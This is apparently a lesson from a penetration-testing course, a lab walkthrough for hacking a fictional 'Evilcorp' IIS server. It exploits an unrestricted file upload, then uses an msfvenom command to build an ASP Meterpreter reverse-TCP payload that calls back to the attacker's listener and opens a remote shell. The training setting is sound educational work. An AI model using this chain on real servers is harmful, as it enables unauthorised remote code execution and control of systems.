IIS Server Hacking, Metasploit

RCE (Remote Code Execution) vulnerability in the portal

Let's take a closer look at the web service running on the IIS server. Open the Firefox browser and go to the address http://10.0.0.3 (or http://iis1.evilcorp.local).

Try downloading the file to the portal.

Click on "Check your downloaded applications".

This appears to be very insecure, the application is directly downloading files to the web root. Let's try to download an ASP file that executes code.

<%
Response.Write("Hello World!")
%>

Open the file in the browser and confirm the vulnerability - ASP code is executed on the server.

Metasploit listener

Start the Metasploit console (msfconsole) now and enable the common listener exploit/multi/handler. Set the payload to windows/meterpreter/reverse_tcp, lhost to 10.0.0.100 (your Kali machine IP), and lport to 1234 (the port on which your listener waits for connections).

If you haven't done the Hakateam Metasploit course yet (it may not have been published yet when you are reading this), here is a brief of what we are doing:

• Metasploit is an open source penetration testing tool.
• Meterpreter is a versatile agent in metasploit that is executed on the target machine.
• exploit/multi/handler is a module in Metasploit that accepts connections when a successful attack occurs and opens, for example, a meterpreter connection to the target machine.
• payload=windows/meterpreter/reverse_tcp means Meterpreter payload for the Windows operating system that is served over a TCP connection.
• lhost=10.0.0.100 determines the IP address of the Metasploit listener.
• lport=1234 sets the TCP port for the Metasploit listener.

msfvenom

Create an ASP file now with the msfvenom tool that connects to your Metasploit listener when executed. Just run the msfvenom command in another terminal and provide it with the exact same settings as in the Metasploit listener.

• -p windows/meterpreter/reverse_tcp
• lhost=10.0.0.100
• lport=1234

In addition, you specify that the created ASP file is saved in the file evil.asp and that the format is ASP.

• -f asp
• -o evil.asp

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.100 lport=1234 -f asp -o evil.asp

The created file looks quite funky.

Attack

Now you just upload the file "evil.asp" and execute it like the file "test.asp" earlier.

You should see that the meterpreter session opens in the listener.

You can try using the "sysinfo" command to see what kind of server you hacked into.

Or if you want a regular Windows command prompt, run the command "shell". You can go back with the command "exit".

Exercises

Evilcorp - Scenario 1

This is a scenario, please do not unnecessarily close it within the same course area (Scenario 1) so that you do not lose your progress. Please add time if necessary. It may take a few minutes for the scenario to start, please wait patiently.

Hakatemia PRO